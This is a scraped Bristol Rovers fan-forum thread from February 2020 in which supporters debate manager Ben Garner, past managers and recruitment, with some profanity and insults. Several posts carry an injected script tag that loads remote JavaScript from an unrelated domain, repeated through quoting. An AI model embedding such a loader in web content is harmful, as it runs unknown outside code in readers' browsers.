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Post by Kingswood Polak on Feb 13, 2020 12:17:44 GMT
It's all his fault that out players have missed chance after chance the past couple of games? Come on..! His spell here has been awful but we have looked better the past couple of games. BG can't stick the chances away himself though. Do you feel we look confident and motivated? It's night and day in comparison to how the team spirit was before Christmas. Indeed and you only have to look at how the team now reacts, when we concede. You do not have to be trained in the study or body language to see this. Heads go down & they look dejected. There has been a sea change in the way the are now to how they were, under GC. The team just look disjointed and void of any confidence.
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Post by Kingswood Polak on Feb 13, 2020 12:35:37 GMT
Yeah, Terry Cooper went 15 League games and 1 Glos derby before winning his first game as manager. Can you provide the back up for this please ? Looking at the history of Rovers, I can’t find it. Was it split over 2 seasons maybe ?
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Post by Kingswood Polak on Feb 13, 2020 12:42:40 GMT
Sounds like bullshit buzzword bingo to me. Just because someone says they’re using a technique doesn’t mean they’re anymore capable than anyone else. They’re just clued up in their academia of the field. How often do you come across someone who uses buzzwords to describe something that’s just good sense in your profession that you’ve been doing for years but didn’t have a buzz word for - it was just clear common sense. It's like Garner with his neuro Linguistics degree and UEFA pro licence etc. Really done him good so far hasn't it. 🤔 With DC it seems that the more badges he gained, the worse our results got. I just think many are clutching at straws for what should be a simple enough job. Get the players feeling confident, give them some positive reinforcement or a bollocking, if needed and get the team playing to it’s best potential. It doesn’t need to be a science but people do love their labels and badges.
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Post by mickeybarrett on Feb 13, 2020 12:46:29 GMT
Do you feel we look confident and motivated? It's night and day in comparison to how the team spirit was before Christmas. Indeed and you only have to look at how the team now reacts, when we concede. You do not have to be trained in the study or body language to see this. Heads go down & they look dejected. There has been a sea change in the way the are now to how they were, under GC. The team just look disjointed and void of any confidence. I think wins breed confidence. Not sure that's totally down to Garner. JCH's drop in form is as much to do with us not winning as BG. If he'd been in reasonable goalscoring form we'd have won 3 of the last 6 odd games. He missed a hatful at Wycombe the penalty against Fleetwood and the 2 one on ones against Tranmere off the top of my head.
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Post by Russgas on Feb 13, 2020 13:05:43 GMT
Indeed and you only have to look at how the team now reacts, when we concede. You do not have to be trained in the study or body language to see this. Heads go down & they look dejected. There has been a sea change in the way the are now to how they were, under GC. The team just look disjointed and void of any confidence. I think wins breed confidence. Not sure that's totally down to Garner. JCH's drop in form is as much to do with us not winning as BG. If he'd been in reasonable goalscoring form we'd have won 3 of the last 6 odd games. He missed a hatful at Wycombe the penalty against Fleetwood and the 2 one on ones against Tranmere off the top of my head. Agreed he is way off form atm and it has played a massive factor in our recent results, but there is such a fine line in this division between winning and losing we could easily go on a long unbeaten run now if we started taking our chances. But for me the long term problem is in midfield, this has to be addressed properly in the summer.
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Post by pirate on Feb 13, 2020 13:07:40 GMT
It's like Garner with his neuro Linguistics degree and UEFA pro licence etc. Really done him good so far hasn't it. 🤔 With DC it seems that the more badges he gained, the worse our results got. I just think many are clutching at straws for what should be a simple enough job. Get the players feeling confident, give them some positive reinforcement or a bollocking, if needed and get the team playing to it’s best potential. It doesn’t need to be a science but people do love their labels and badges. Absolute nonsense about the badges and DC. He had his A License when he joined us. The higher he got the more he struggled with recruitment...that was his problem.
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Post by mickeybarrett on Feb 13, 2020 13:09:40 GMT
I think wins breed confidence. Not sure that's totally down to Garner. JCH's drop in form is as much to do with us not winning as BG. If he'd been in reasonable goalscoring form we'd have won 3 of the last 6 odd games. He missed a hatful at Wycombe the penalty against Fleetwood and the 2 one on ones against Tranmere off the top of my head. Agreed he is way off form atm and it has played a massive factor in our recent results, but there is such a fine line in this division between winning and losing we could easily go on a long unbeaten run now if we started taking our chances. But for me the long term problem is in midfield, this has to be addressed properly in the summer. Agreed. Our lack of creativity from midfield ha to be addressed. It has been highlighted recently because our finishing has been so poor. Saying about fine lines, I thought we were far better at Wycombe (against a better team) and created more chances than we did against Shrewsbury away.
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Post by axegas on Feb 13, 2020 13:10:39 GMT
With DC it seems that the more badges he gained, the worse our results got. I just think many are clutching at straws for what should be a simple enough job. Get the players feeling confident, give them some positive reinforcement or a bollocking, if needed and get the team playing to it’s best potential. It doesn’t need to be a science but people do love their labels and badges. Absolute nonsense about the badges and DC. He had his A License when he joined us. The higher he got the more he struggled with recruitment...that was his problem. If recruitment in league one was his biggest weakness there’s an argument to be had that he should have been given more time as his appointment of TW has by and large fixed most of the problems that we have had in that department.
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Post by mickeybarrett on Feb 13, 2020 13:22:06 GMT
Absolute nonsense about the badges and DC. He had his A License when he joined us. The higher he got the more he struggled with recruitment...that was his problem. If recruitment in league one was his biggest weakness there’s an argument to be had that he should have been given more time as his appointment of TW has by and large fixed most of the problems that we have had in that department. I thought DC was great for us. I think he went stale and became incredibly stuck in his ways come the end though. The change was definitely best for both parties. That 4 0 loss to Doncaster at home is probably the worst and most clueless performance I've seen us put in over the last 10 years.
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Post by pirate on Feb 13, 2020 13:24:21 GMT
Absolute nonsense about the badges and DC. He had his A License when he joined us. The higher he got the more he struggled with recruitment...that was his problem. If recruitment in league one was his biggest weakness there’s an argument to be had that he should have been given more time as his appointment of TW has by and large fixed most of the problems that we have had in that department. DC often overruled TW on recruitment. See the signing of Payne for example. I've also heard DC didn't even want Hudson-Odoi and Tomori when there was a chance we could've got them on loan.
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Post by mickeybarrett on Feb 13, 2020 13:31:23 GMT
If recruitment in league one was his biggest weakness there’s an argument to be had that he should have been given more time as his appointment of TW has by and large fixed most of the problems that we have had in that department. DC often overruled TW on recruitment. See the signing of Payne for example. I've also heard DC didn't even want Hudson-Odoi and Tomori when there was a chance we could've got them on loan. His treatment also of really decent loanees like Roberts and McBurnie from Swansea was odd. Almost like he was too stubborn to accept that the players he'd brought in permanently were replaceable.
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Post by madgas on Feb 13, 2020 13:46:03 GMT
In fairness I think his policy was loans that we had a chance of getting- long term... he wasnt keen on loans that were likely to remain at their parent club after.
Now I think that worked in conference/ league two. But as you go up the loan game changes. You need to find kids that can make an instant impact.
His recruitment was a bit sad by the end. Just think of the keepers. Excusing maybe Mildenhall (who came due to location) the keepers were dreadful.
Roos Puddy L Nichols Smith Slocombe Ok- we had Lumley briefly.
But since TW came in and got Bonham weve had much better keepers.
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Post by Gas Go Marching In on Feb 13, 2020 15:27:28 GMT
If recruitment in league one was his biggest weakness there’s an argument to be had that he should have been given more time as his appointment of TW has by and large fixed most of the problems that we have had in that department. DC often overruled TW on recruitment. See the signing of Payne for example. I've also heard DC didn't even want Hudson-Odoi and Tomori when there was a chance we could've got them on loan.Easy to slag DC off now, especially with no facts just hearsay. Bloke did a great job. We don't know the ins and outs of thing, Could be that Chelsea wanted him to play every game etc. Based on the signings of Colkett and JCS who disappointed, can't blame him too much. Also DC was all about building a togetherness with the teams. Loanees were there just to make up the numbers. For every good player he could have signed, I'm sure he dodged a few bullets at the same time.
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Post by romangas on Feb 13, 2020 15:34:07 GMT
We are the Gas, League 1. Not Liverpool. Tactical periods are all well and good when you are scoring goals and a winning mentality is within the squad. Ben Garner should have kept our momentum going when he was appointed, " keep doing what you are doing lads " approach. Then start to have a tinker and mould what he wants. But no, casts a spell which equates to 14 games with no win. Planning for the future is all well and good...what about the here and now. Seems to me Ben Garner can talk the talk in spades. Pre and post match he spouts the same old stuff, and it is not happening is it Ben. He sounds all theory, hiding as a No 2 or 3 in his previous roles. Graham Coughlan looked and sounded the part...he had spirit and was 100% Gas. Even if we stay up,another 2.5 years of Ben Garner does not appeal. UTG. With respect, if GC was 100% Gas, he would still be here now !!!!! paddingtongas....go into print now and say the same applies to Darrell Clarke, Paul Trollope, Ian Holloway and Gerry Francis. You can F*ck Off. Twat. <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script>
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Post by Slide away on Feb 13, 2020 20:09:38 GMT
With respect, if GC was 100% Gas, he would still be here now !!!!! paddingtongas....go into print now and say the same applies to Darrell Clarke, Paul Trollope, Ian Holloway and Gerry Francis. You can F*ck Off. Twat. <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script> 👀
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Post by paddingtongas on Feb 13, 2020 21:02:51 GMT
With respect, if GC was 100% Gas, he would still be here now !!!!! paddingtongas....go into print now and say the same applies to Darrell Clarke, Paul Trollope, Ian Holloway and Gerry Francis. You can F*ck Off. Twat. <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script> Touch a nerve did I ? Of the 4 managers you've quoted, no one will disagree about Ollie, as for the other 3 ? Well, I'd say DC has a big affinity with Mansfield, PT, Swindon, Torquay, GF, with QPR !!! just because the later 3 have had the most recent success, it doesn't make them "100% Gas" in my opinion of course !!! Anyway best wishes fella..
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Post by Deleted on Feb 14, 2020 0:21:57 GMT
DC often overruled TW on recruitment. See the signing of Payne for example. I've also heard DC didn't even want Hudson-Odoi and Tomori when there was a chance we could've got them on loan. His treatment also of really decent loanees like Roberts and McBurnie from Swansea was odd. Almost like he was too stubborn to accept that the players he'd brought in permanently were replaceable. We got promoted that season gaffney and taylor were superb during the long winning run to promotion. Those players were not the players they have become now they are men. Hindsight is a wonderful thing but i was totally happy with the incredible 2nd promotion.
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Post by socrates on Feb 14, 2020 7:39:07 GMT
I feel sorry For Garner. His child is in hospital with obviously something pretty bad and his new job has so far been a complete disaster.
However the board of our club have to do what’s right for Bristol Rovers and obviously if results don’t improve over time ( we don’t know how much time) then he’ll be sacked too.
Talk about a tough couple of months.
As supporters it’s the right thing to keep supporting him and the team and hope they can turn it around.
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Post by Antonio Fargas on Feb 14, 2020 9:37:38 GMT
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Post by romangas on Feb 14, 2020 9:38:04 GMT
paddingtongas....go into print now and say the same applies to Darrell Clarke, Paul Trollope, Ian Holloway and Gerry Francis. You can F*ck Off. Twat. <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script> Touch a nerve did I ? Of the 4 managers you've quoted, no one will disagree about Ollie, as for the other 3 ? Well, I'd say DC has a big affinity with Mansfield, PT, Swindon, Torquay, GF, with QPR !!! just because the later 3 have had the most recent success, it doesn't make them "100% Gas" in my opinion of course !!! Anyway best wishes fella.. Post of the year. ...and best wishes to you also, 'fella'. <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script>
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